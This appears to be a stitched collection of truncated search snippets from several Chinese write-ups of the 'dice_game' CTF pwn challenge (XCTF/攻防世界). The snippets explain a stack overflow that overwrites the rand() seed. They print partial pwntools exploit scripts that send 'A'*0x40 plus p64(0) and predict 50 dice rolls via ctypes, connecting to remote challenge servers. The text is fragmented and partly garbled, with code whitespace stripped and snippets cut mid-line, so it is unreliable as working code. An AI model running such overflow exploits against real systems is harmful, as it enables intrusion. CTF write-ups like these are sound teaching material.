edi的参数从栈中复制而来,再看栈中seed的位置: 偏移量为0x40,由此写出pwn脚本: frompwnimport*frompwnlibimportgdbfromctypesimport*# p = process("./dice_game")p=remote("111.200.241.244","52188")payload=cyclic(0x40)+p64(0)a="25426251423232651155634433322261116425254446323361"p.recvuntil("your name: "...
攻防世界(13):dice_game 查壳 看ida,和guess_number那题一样有seed,并且一样是猜数字连续猜中得到flag,看看能不能覆盖把seed改成我们想要的 read是50,但栈中seed在10的位置,可以直接通过buf覆盖到seed 编写exp #!/usr/bin/env python from pwn import * from ctypes import * p = remote('111.200....
v2= rand() %6+1;if( v1 <=0|| v1 >6|| v2 <=0|| v2 >6) _assert_fail("(point>=1 && point<=6) && (sPoint>=1 && sPoint<=6)","dice_game.c",0x18u,"dice_game");if( v1 ==v2 ) { puts("You win."); result=1LL; }else{ puts("You lost."); result=0LL; } ...
#-*- coding:utf-8 -*-frompwnimport*fromctypesimport*#p = process('./dice_game')p=remote('111.198.29.45',31226)payload='a'*0x40+p64(0)lib=cdll.LoadLibrary('libc.so.6')p.recvuntil("Welcome, let me know your name: ")p.sendline(payload)a=[]foriinrange(50):a.append(lib.rand(...
pwn_file = './dice_game' elf = ELF(pwn_file) if IS_LOCAL: io = process(pwn_file) else: io = remote('111.200.241.244','55568') #--- payload = 'A'*0x40+p64(0) nums = [2,5,4,2,6,2,5,1,4,2,3,2,3,2,6,5,1,1,5,5,6,3,4,4,3,3,3,2,2,2,6,1...
dice_game攻防世界进阶区 dice_game XCTF 4th-QCTF-2018 前言,不得不说,虽然是个简单题但是还是要记录一下,来让自己记住这些东西。 考察的知识点是: 1.cdll_loadlibrary加载对应库使得Python可以使用c的函数。 2.关于srand函数中种子的介绍。 3.一些平时没有见过的杂项...
pwn_file = './dice_game' elf = ELF(pwn_file) if IS_LOCAL: io = process(pwn_file) else: io = remote('111.200.241.244','55568') #--- payload = 'A'*0x40+p64(0) nums = [2,5,4,2,6,2,5,1,4,2,3,2,3,2,6,5,1,1,5,5,6,3,4,4,3,3,3,2,2,2,6,1,1,1,6,...
前言,这题中看不中用啊宝友!!! 1.查看保护 第一反应就是蛮简单的,32位. 2.获取信息(先运行程序看看) 装的可以,蛮多的东西。 但是就是中看不中用 3.ida 进去看看 里面有两个输入,第一个我本来以为能溢出覆盖掉v14的数值,然后在最后的这句
001-dice_game 学到了python调用c的库函数的新知识。 给出了两个文件,一个是题目的文件,一个是库文件。库文件不是用来调用system的,而是用了调用随机数函数的。 这题是让你猜数,猜50次。 栈溢出可以修改随机数种子,预测接下来的50个数。 1 2
攻防世界dice_game(pwn) dice_game 题目考察:rand()生成的随机数和随机种子seed()有关,通过观察题目,可以发现存在溢出漏洞,通过输入可以覆盖到seed(),实现一个可预测的随机数列。 题目分析 这边就可以看到,buf覆盖0x40位就能覆盖到seed。 sub_A20()如下,就是比较你输入的数是否和产生的随机数相等。 当回答正确...